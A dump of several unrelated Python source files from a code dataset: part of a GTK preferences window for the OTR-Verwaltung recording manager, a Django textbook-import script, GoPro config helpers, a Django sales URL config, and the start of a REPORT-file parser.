prog)\n EntryBinding(\n self.obj(\"entry_prog_wineprefix\"), self.app.config, \"programs\", \"wineprefix\",\n )\n\n def rename_schema_changed(value):\n new_name = self.app.rename_by_schema(self.example_cut_filename, value)\n self.obj(\"label_schema\").set_label(f\"{self.example_filename} wird zu {new_name}\")\n\n if not self.app.config.keyring_available:\n self.obj(\"radioPasswdStoreWallet\").set_sensitive(False)\n\n self.app.config.connect(\"general\", \"rename_schema\", rename_schema_changed)\n # \"initial rename\"\n # remove?\n # rename_schema_changed(self.obj('entry_schema').get_text())\n\n for option in [\n \"folder_new_otrkeys\",\n \"folder_trash_otrkeys\",\n \"folder_trash_avis\",\n \"folder_uncut_avis\",\n \"folder_cut_avis\",\n \"folder_archive\",\n ]:\n self.app.config.connect(\"general\", option, lambda value: self.app.show_section(self.app.section))\n\n self.app.config.connect(\n \"general\", \"rename_cut\", lambda value: self.obj(\"entry_schema\").set_sensitive(value),\n )\n self.app.config.connect(\n \"general\", \"merge_ac3s\", lambda value: self.obj(\"combobox_ac3\").set_sensitive(value),\n )\n self.app.config.connect(\n \"general\", \"merge_ac3s\", lambda value: self.obj(\"button_set_file_ac3\").set_sensitive(value),\n )\n self.app.config.connect(\n \"general\", \"merge_ac3s\", lambda value: self.obj(\"label_ac3\").set_sensitive(value),\n )\n self.app.config.connect(\n \"general\", \"use_internal_icons\", lambda value: self.obj(\"label_iconsize\").set_sensitive(not value),\n )\n self.app.config.connect(\n \"general\", \"use_internal_icons\", lambda value: self.obj(\"spinbutton_iconsize\").set_sensitive(not value),\n )\n self.app.config.connect(\n \"general\", \"passwd_store\", lambda value: self._radio_passwd_store_toggled(value),\n )\n\n # Initializing\n self.obj(\"entry_password\").set_visibility(False)\n self.obj(\"entry_schema\").set_sensitive(self.app.config.get(\"general\", \"rename_cut\"))\n self.obj(\"combobox_ac3\").set_sensitive(self.app.config.get(\"general\", \"merge_ac3s\"))\n self.obj(\"label_iconsize\").set_sensitive(not self.obj(\"check_use_internal_icons\").get_active())\n self.obj(\"spinbutton_iconsize\").set_sensitive(not self.obj(\"check_use_internal_icons\").get_active())\n self._radio_passwd_store_toggled(self.app.config.get(\"general\", \"passwd_store\"))\n\n # Show normalize_audio only if audio conversion to AAC is chosen\n first = \"AAC\" in self.app.config.get(\"smartmkvmerge\", \"first_audio_stream\")\n second = \"AAC\" in self.app.config.get(\"smartmkvmerge\", \"second_audio_stream\")\n if first or second:\n self.obj(\"check_normalize_audio\").set_sensitive(True)\n else:\n self.obj(\"check_normalize_audio\").set_sensitive(False)\n\n # Delete combobox entries \"intern-vdub\" if not installed and \"vdub.exe\" if not on Windows\n intern_vdub_available = False\n vdubexe_available = False\n if sys.platform == \"linux\":\n if otrvpath.get_internal_virtualdub_path(\"vdub.exe\") is not None:\n intern_vdub_available = True\n elif sys.platform == \"win32\":\n vdub = self.app.config.get_program(\"vdub\")\n if os.path.exists(vdub) and vdub.endswith(vdub.exe):\n vdubexe_available = True\n\n for widget_name in [\n \"combobox_avi\",\n \"combobox_hq\",\n \"combobox_hd2\",\n \"combobox_mp4\",\n ]:\n if not intern_vdub_available:\n self.obj(widget_name).remove(1)\n if not vdubexe_available:\n self.obj(widget_name).remove(2)\n\n # Hide some fields in tab \"Programme\"\n progs2 = [\"wineprefix\"]\n if sys.platform == \"linux\":\n progs2.append(\"vdub\")\n for prog in progs2:\n for prefix in [\"lbl_prog_\", \"entry_prog_\", \"btn_prog_\", \"lbl_check_\"]:\n self.obj(prefix + prog).set_visible(False)\n\n # Signal handlers ###\n\n def on_entry_prog_changed(self, entry):\n entry_name = Gtk.Buildable.get_name(entry)\n prog_name = entry_name.rpartition(\"_\")[2] # name scheme is entry_prog_ffmpeg\n lbl_check = self.obj(\"lbl_check_\" + prog_name)\n if os.path.exists(entry.get_text()):\n lbl_check.set_markup(\"✓\")\n else:\n lbl_check.set_markup(\"✘\")\n return False\n\n def _on_btn_snippets_save_clicked(self, txtbuf):\n self.app.config.set(\"general\", \"snippets\", txtbuf.props.text)\n self.obj(\"btn_snippets_save\").set_sensitive(False)\n\n def _radio_passwd_store_toggled(self, value):\n if value == 2: # radioPasswdStoreNot\n self.obj(\"check_passwd_store_memory\").set_sensitive(True)\n self.obj(\"labelPasswdStoreMemory\").set_sensitive(True)\n self.obj(\"entry_password\").set_sensitive(False)\n else:\n self.obj(\"check_passwd_store_memory\").set_sensitive(False)\n self.obj(\"labelPasswdStoreMemory\").set_sensitive(False)\n self.obj(\"entry_password\").set_sensitive(True)\n\n def _on_button_reset_size_moviewindow_clicked(self, widget):\n self.obj(\"spinbutton_x\").set_value(800.0)\n self.obj(\"spinbutton_y\").set_value(450.0)\n\n def _on_button_check_otr_credentials_clicked(self, entry):\n request_answer = \"\"\n if self.app.config.get(\"general\", \"password\") != \"\" and internet_on():\n url = \"http://www.onlinetvrecorder.com/webrecording/isuser.php\"\n params = {\n \"email\": self.app.config.get(\"general\", \"email\"),\n \"pass\": hashlib.md5(self.app.config.get(\"general\", \"password\").encode(\"utf-8\")).hexdigest(),\n }\n r = requests.get(url=url, params=params)\n request_answer = r.text\n if internet_on():\n if \"yes\" in request_answer:\n self.obj(\"checkOTRCredentials\").modify_fg(Gtk.StateType.NORMAL, Gdk.color_parse(\"#008000\"))\n self.obj(\"OTRCredentialCheckResponse\").set_markup(\"✓\")\n else:\n self.obj(\"checkOTRCredentials\").modify_fg(Gtk.StateType.NORMAL, Gdk.color_parse(\"#c70002\"))\n self.obj(\"OTRCredentialCheckResponse\").set_markup(\"✘\")\n else:\n self.obj(\"checkOTRCredentials\").modify_fg(Gtk.StateType.NORMAL, Gdk.color_parse(\"#d87107\"))\n self.obj(\"OTRCredentialCheckResponse\").set_markup(\"🖧 Keine Internetverbindung!\")\n\n def _on_button_set_file_clicked(self, entry, data=None):\n entry_name = Gtk.Buildable.get_name(entry)\n try:\n chooser_title = self.filechooser_title_setup[entry_name] + \":\"\n except KeyError:\n chooser_title = \"Datei auswählen:\"\n\n if entry_name.startswith(\"entry_prog\") or entry_name.startswith(\"combobox_\"):\n chooser_action = Gtk.FileChooserAction.OPEN\n else:\n chooser_action = Gtk.FileChooserAction.SELECT_FOLDER\n\n chooser = Gtk.FileChooserDialog(\n title=chooser_title,\n parent=self,\n action=chooser_action,\n buttons=(Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL, Gtk.STOCK_OPEN, Gtk.ResponseType.OK,),\n )\n chooser.set_transient_for(self)\n if isinstance(entry, Gtk.Entry):\n if entry_name.startswith(\"entry_prog\"):\n self.last_path = None\n if os.path.exists(entry.get_text()) and self.last_path is None:\n chooser.set_current_folder(os.path.join(entry.get_text(), \"..\"))\n elif self.last_path is not None:\n chooser.set_current_folder(os.path.join(self.last_path, \"..\"))\n else:\n chooser.set_current_folder(os.path.expanduser(\"~\"))\n\n if chooser.run() == Gtk.ResponseType.OK:\n if isinstance(entry, Gtk.ComboBoxText):\n entry.prepend(chooser.get_filename(), chooser.get_filename())\n entry.set_active(0)\n elif isinstance(entry, Gtk.Entry):\n entry.set_text(chooser.get_filename())\n self.last_path = entry.get_text()\n\n chooser.destroy()\n\n def _on_entry_prog_decoder_changed(self, widget, data=None):\n if \"otrtool\" in widget.get_active_text():\n self.obj(\"check_verify_decoded\").set_sensitive(False)\n else:\n self.obj(\"check_verify_decoded\").set_sensitive(True)\n\n def on_preferences_window_key_press_event(self, widget, event):\n keyname = Gdk.keyval_name(event.keyval).upper()\n if event.type == Gdk.EventType.KEY_PRESS:\n if keyname == \"ESCAPE\":\n self._on_preferences_button_close_clicked(None)\n return True\n\n def _on_preferences_button_close_clicked(self, widget, data=None):\n if self.obj(\"btn_snippets_save\").get_sensitive():\n if not self.app.gui.question_box(\n \"Die Snippets wurden nicht gespeichert\\n\\nWollen Sie das Fenster wirklich schließen?\"\n ):\n return\n self.hide()\n self.app.gui.start_directory_monitors(restart=True)\n self.app.show_section(self.app.section)\n try:\n # Update settings in Cutinterface\n self.app.gui.ci_instance.config_update()\n except AttributeError:\n pass\n\n def _on_preferences_window_delete_event(self, window, event):\n self._on_preferences_button_close_clicked(None)\n return True\n\n\ndef new():\n glade_filename = otrvpath.getdatapath(\"ui\", \"PreferencesWindow.glade\")\n builder = Gtk.Builder()\n builder.add_from_file(glade_filename)\n window = builder.get_object(\"preferences_window\")\n # window.app = app\n # window.gui = gui\n return window\n\n\ndef internet_on():\n # Check if online\n try:\n # google.com ip\n urllib2.urlopen(\"http://216.58.192.142\", timeout=1)\n return True\n except urllib2.URLError:\n return False\n", "repo_name": "EinApfelBaum/otr-verwaltung3p", "sub_path": "otrverwaltung3p/gui/PreferencesWindow.py", "file_name": "PreferencesWindow.py", "file_ext": "py", "file_size_in_byte": 21287, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16, "dataset": "github-code", "pt": "7", "api": [{"api_name": "gi.require_version", "line_number": 10, "usage_type": "call"}, {"api_name": "gi.require_version", "line_number": 11, "usage_type": "call"}, {"api_name": "gi.repository.Gtk.Window", "line_number": 29, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 29, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Buildable", "line_number": 29, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk.Window.__init__", "line_number": 33, "usage_type": "call"}, {"api_name": "gi.repository.Gtk.Window", "line_number": 33, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 33, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 34, "usage_type": "call"}, {"api_name": "gi.repository.Gtk.CssProvider", "line_number": 42, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 42, "usage_type": "name"}, {"api_name": "sys.platform", "line_number": 76, "usage_type": "attribute"}, {"api_name": "shutil.which", "line_number": 78, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.EntryBinding", "line_number": 96, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 99, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 100, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.EntryBinding", "line_number": 103, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.EntryBinding", "line_number": 104, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.RadioButtonsBinding", "line_number": 105, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 111, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 116, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 117, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 118, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 119, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 120, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 121, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 122, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 123, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 124, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 125, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 126, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 127, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 134, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.EntryBinding", "line_number": 141, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 142, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 145, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 146, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.EntryBinding", "line_number": 151, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.RadioButtonsBinding", "line_number": 152, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 158, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.EntryBinding", "line_number": 161, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 164, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 167, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 170, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.EntryBinding", "line_number": 173, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.TextbufferBinding", "line_number": 176, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 181, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.EntryBinding", "line_number": 182, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.SpinbuttonBinding", "line_number": 185, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 186, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 189, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 192, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.ComboBoxEntryBinding", "line_number": 195, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 198, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.SpinbuttonBinding", "line_number": 206, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.SpinbuttonBinding", "line_number": 209, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.SpinbuttonBinding", "line_number": 210, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.SpinbuttonBinding", "line_number": 211, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.SpinbuttonBinding", "line_number": 212, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 213, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.EntryBinding", "line_number": 214, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 215, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.SpinbuttonBinding", "line_number": 218, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 221, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 224, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 227, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 230, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.CheckButtonBinding", "line_number": 234, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.EntryBinding", "line_number": 252, "usage_type": "call"}, {"api_name": "otrverwaltung3p.gui.config_bindings.EntryBinding", "line_number": 253, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 320, "usage_type": "attribute"}, {"api_name": "otrverwaltung3p.path.get_internal_virtualdub_path", "line_number": 321, "usage_type": "call"}, {"api_name": "otrverwaltung3p.path", "line_number": 321, "usage_type": "name"}, {"api_name": "sys.platform", "line_number": 323, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 325, "usage_type": "call"}, {"api_name": "os.path", "line_number": 325, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 341, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk.Buildable.get_name", "line_number": 350, "usage_type": "call"}, {"api_name": "gi.repository.Gtk.Buildable", "line_number": 350, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 350, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 353, "usage_type": "call"}, {"api_name": "os.path", "line_number": 353, "usage_type": "attribute"}, {"api_name": "hashlib.md5", "line_number": 383, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 385, "usage_type": "call"}, {"api_name": "gi.repository.Gtk.StateType", "line_number": 389, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 389, "usage_type": "name"}, {"api_name": "gi.repository.Gdk.color_parse", "line_number": 389, "usage_type": "call"}, {"api_name": "gi.repository.Gdk", "line_number": 389, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.StateType", "line_number": 392, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 392, "usage_type": "name"}, {"api_name": "gi.repository.Gdk.color_parse", "line_number": 392, "usage_type": "call"}, {"api_name": "gi.repository.Gdk", "line_number": 392, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.StateType", "line_number": 395, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 395, "usage_type": "name"}, {"api_name": "gi.repository.Gdk.color_parse", "line_number": 395, "usage_type": "call"}, {"api_name": "gi.repository.Gdk", "line_number": 395, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Buildable.get_name", "line_number": 399, "usage_type": "call"}, {"api_name": "gi.repository.Gtk.Buildable", "line_number": 399, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 399, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.FileChooserAction", "line_number": 406, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 406, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.FileChooserAction", "line_number": 408, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 408, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.FileChooserDialog", "line_number": 410, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 410, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.STOCK_CANCEL", "line_number": 414, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 414, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.ResponseType", "line_number": 414, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk.STOCK_OPEN", "line_number": 414, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk.Entry", "line_number": 417, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 417, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 420, "usage_type": "call"}, {"api_name": "os.path", "line_number": 420, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 421, "usage_type": "call"}, {"api_name": "os.path", "line_number": 421, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 423, "usage_type": "call"}, {"api_name": "os.path", "line_number": 423, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 425, "usage_type": "call"}, {"api_name": "os.path", "line_number": 425, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk.ResponseType", "line_number": 427, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 427, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.ComboBoxText", "line_number": 428, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 428, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Entry", "line_number": 431, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 431, "usage_type": "name"}, {"api_name": "gi.repository.Gdk.keyval_name", "line_number": 444, "usage_type": "call"}, {"api_name": "gi.repository.Gdk", "line_number": 444, "usage_type": "name"}, {"api_name": "gi.repository.Gdk.EventType", "line_number": 445, "usage_type": "attribute"}, {"api_name": "gi.repository.Gdk", "line_number": 445, "usage_type": "name"}, {"api_name": "otrverwaltung3p.path.getdatapath", "line_number": 471, "usage_type": "call"}, {"api_name": "otrverwaltung3p.path", "line_number": 471, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Builder", "line_number": 472, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 472, "usage_type": "name"}, {"api_name": "urllib.request.urlopen", "line_number": 484, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 484, "usage_type": "name"}, {"api_name": "urllib.request.URLError", "line_number": 486, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 486, "usage_type": "name"}]} {"seq_id": "9255753769", "text": "import json\nfrom textbook_exchange.models import Textbook, Class\nfrom unidecode import unidecode\nimport os\n\n#keep this script in main directory (with manage.py) for this path to work;\n#else, you can update with your own path as needed\nscript_dir = os.path.dirname(\"__file__\")\nrel_path = \"class_data.json\"\nabs_file_path = os.path.join(script_dir, rel_path)\n\ndef mkflt(str_in):\n if str_in:\n return float(str_in)\n else:\n return 0\n\ndef mkint(str_in):\n if str_in:\n return int(str_in)\n else:\n return 0\n\ndef u_ify(book):\n book['Title'] = unidecode(book['Title'])\n book['Author'] = unidecode(str(book['Author']))\n return book\n\nwith open(abs_file_path, encoding='utf-8') as data_file:\n json_data = json.loads(data_file.read())\n\n for book_data in json_data:\n book_data = u_ify(book_data)\n \n try: \n class_obj = Class.objects.get(class_info=book_data['Dept']+book_data['Course']+\"-\"+book_data['Sect'])\n setattr(class_obj, \"class_term\", book_data['Term'])\n setattr(class_obj, \"department\", book_data['Dept'])\n setattr(class_obj, \"course_code\", book_data['Course'])\n setattr(class_obj, \"section_number\", book_data['Sect'])\n setattr(class_obj, \"professor\", book_data['Instructor'])\n setattr(class_obj, 'class_title', book_data['ClassTitle'])\n class_obj.save()\n except:\n class_obj = Class.create(**book_data)\n\n lower_title=book_data['Title'].lower()\n if \"inclusive access\" not in lower_title and \"ebook\" not in lower_title and \"access card\" not in lower_title and \"access code\" not in lower_title and \"websam\" not in lower_title:\n try:\n book_obj = Textbook.objects.get(bookstore_isbn=book_data['ISBN'])\n setattr(book_obj, \"isbn13\", book_data['ISBN13'])\n setattr(book_obj, \"isbn10\", book_data['ISBN10'])\n setattr(book_obj, \"title\", unidecode(book_data['Title']))\n setattr(book_obj, \"author\", unidecode(str(book_data['Author'])))\n setattr(book_obj, \"req_type\", book_data['Req Type'])\n setattr(book_obj, \"cover_photo_url\", book_data['Image Links'])\n setattr(book_obj, \"bookstore_new_price\", float(book_data['New'].replace('$', '').strip()))\n setattr(book_obj, \"bookstore_used_price\", float(book_data['Used'].replace('$', '').strip()))\n setattr(book_obj, \"publisher\", book_data['Publisher'])\n setattr(book_obj, \"date\", book_data['Publish Year'])\n setattr(book_obj, \"description\", book_data['Description'])\n setattr(book_obj, \"page_count\", mkint(book_data['Page Count']))\n setattr(book_obj, \"google_rating\", mkflt(book_data['Google Rating']))\n setattr(book_obj, \"num_reviews\", mkint(book_data['Number of Ratings']))\n book_obj.save()\n except:\n book_obj = Textbook.create(**book_data)\n\n book_obj.class_objects.add(class_obj)\n\n", "repo_name": "anlandu/textbook-exchange", "sub_path": "import_books_classes.py", "file_name": "import_books_classes.py", "file_ext": "py", "file_size_in_byte": 3090, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "unidecode.unidecode", "line_number": 25, "usage_type": "call"}, {"api_name": "unidecode.unidecode", "line_number": 26, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 30, "usage_type": "call"}, {"api_name": "textbook_exchange.models.Class.objects.get", "line_number": 36, "usage_type": "call"}, {"api_name": "textbook_exchange.models.Class.objects", "line_number": 36, "usage_type": "attribute"}, {"api_name": "textbook_exchange.models.Class", "line_number": 36, "usage_type": "name"}, {"api_name": "textbook_exchange.models.Class.create", "line_number": 45, "usage_type": "call"}, {"api_name": "textbook_exchange.models.Class", "line_number": 45, "usage_type": "name"}, {"api_name": "textbook_exchange.models.Textbook.objects.get", "line_number": 50, "usage_type": "call"}, {"api_name": "textbook_exchange.models.Textbook.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "textbook_exchange.models.Textbook", "line_number": 50, "usage_type": "name"}, {"api_name": "unidecode.unidecode", "line_number": 53, "usage_type": "call"}, {"api_name": "unidecode.unidecode", "line_number": 54, "usage_type": "call"}, {"api_name": "textbook_exchange.models.Textbook.create", "line_number": 67, "usage_type": "call"}, {"api_name": "textbook_exchange.models.Textbook", "line_number": 67, "usage_type": "name"}]} {"seq_id": "43908008338", "text": "import os\nimport sys\nimport argparse\nimport configparser\n\n\ndef environment(\n arg_parser: argparse.ArgumentParser\n) -> tuple:\n \"\"\"Return args, config section, and common properties such as name of ffmpeg executable\"\"\"\n arg_parser.add_argument('--ffmpeg', help='path to ffmpeg executable')\n args = arg_parser.parse_args(sys.argv[1:])\n config_parser = configparser.ConfigParser()\n config_parser.read(os.path.expanduser('~/.whimsical_recipes'))\n config = config_parser['GoPro Dual Hero3'] if 'GoPro Dual Hero3' in config_parser else dict()\n ffmpeg = config.get('Ffmpeg', 'ffmpeg') if args.ffmpeg is None else args.ffmpeg\n return args, config, dict(ffmpeg=ffmpeg)\n\n\ndef ask_go(\n target: str,\n replace_default: str\n) -> tuple:\n \"\"\"Ask user whether to override existing target file\"\"\"\n if os.path.exists(target):\n if replace_default is None:\n replace = None\n while replace not in ('y', 'Y', 'n', 'N'):\n replace = input('Replace [y|Y|n|N] ? ')\n if replace == 'y':\n go = True\n if replace == 'Y':\n go = True\n replace_default = True\n if replace == 'n':\n go = False\n if replace == 'N':\n go = False\n replace_default = False\n else:\n go = replace_default\n else:\n go = True\n return go, replace_default\n", "repo_name": "robertbuff/whimsical-recipes", "sub_path": "src/gopro_functions.py", "file_name": "gopro_functions.py", "file_ext": "py", "file_size_in_byte": 1486, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "configparser.ConfigParser", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}]} {"seq_id": "27675238305", "text": "from django.conf.urls import url\n\nfrom .views import (\n SoldItemListAPIView,\n ItemListAPIView,\n SaleMarginListAPIView\n )\n\n\nurlpatterns = [\n url(r'^$', SoldItemListAPIView.as_view(),\n name='list-sales'),\n url(r'^margin/', SaleMarginListAPIView.as_view(),\n name='sale-margin'),\n url(r'^items/(?P[0-9]+)/$', ItemListAPIView.as_view(),\n name='list-sold-items'),\n]\n\n", "repo_name": "glosoftgroup/glosoftgroup-django-pos", "sub_path": "saleor/api/sale/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 407, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "views.SoldItemListAPIView.as_view", "line_number": 11, "usage_type": "call"}, {"api_name": "views.SoldItemListAPIView", "line_number": 11, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "views.SaleMarginListAPIView.as_view", "line_number": 13, "usage_type": "call"}, {"api_name": "views.SaleMarginListAPIView", "line_number": 13, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "views.ItemListAPIView.as_view", "line_number": 15, "usage_type": "call"}, {"api_name": "views.ItemListAPIView", "line_number": 15, "usage_type": "name"}]} {"seq_id": "31988424657", "text": "import os\nimport math\nimport linecache\nimport numpy as np\nfrom typing import Dict\n\nfrom .outfermi import OutFermi\n\n\nclass Report(object):\n COLUMN_PER_LINE = 5 # REPORT中每行出现几个 eigen energies\n \n def __init__(self, report_path:str):\n self.report_path = report_path\n \n \n def _search_aim(self, aim_content:str):\n '''\n Description\n -----------\n 1. 查询REPORT文件中是否存在特定的内容(aim_content)，并确定所在的行数\n \n Parameters\n ----------\n 1. aim_content: str\n - 特定的内容\n \n Return\n ------\n 1. idxs_lst: List[int]\n '''\n with open(self.report_path, \"r\") as f:\n lines_lst = f.readlines()\n \n idxs_lst = []\n for tmp_idx, tmp_line in enumerate(lines_lst, 1):\n if aim_content in tmp_line:\n idxs_lst.append(tmp_idx)\n \n return idxs_lst\n \n \n def get_num_bands(self):\n '''\n Description\n -----------\n 1. 得到能带数 (每个kpoint的本征态)\n \n Return\n ------\n 1. num_bands: int\n - 能带的数目\n '''\n ### Step 1. 